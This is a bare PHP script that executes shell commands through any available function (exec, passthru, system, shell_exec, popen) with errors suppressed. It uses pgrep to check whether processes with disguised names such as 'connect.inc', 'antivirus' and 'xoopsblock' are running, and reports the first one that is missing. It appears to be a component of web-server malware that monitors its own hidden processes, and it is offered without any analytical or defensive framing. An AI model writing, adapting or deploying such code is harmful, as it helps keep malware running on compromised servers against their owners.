<?php   $files = ['tbl_alter','showthumb','tax_rates','formselectgroup','connect.inc','changepass','busi_report05','xoopsblock','_con_aaa_header','members.inc','newFacForum','Amemberlist','sais_inv_step1','delete_message','mysql.dbi.lib','adminmenus','breadcrumb','plugin_functions','view_by_sn','essentials','import_status','extraFields','record_artists','miniatures','StartProfiler','editThesis','editelement','antivirus','class.global.inc','com_registration']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }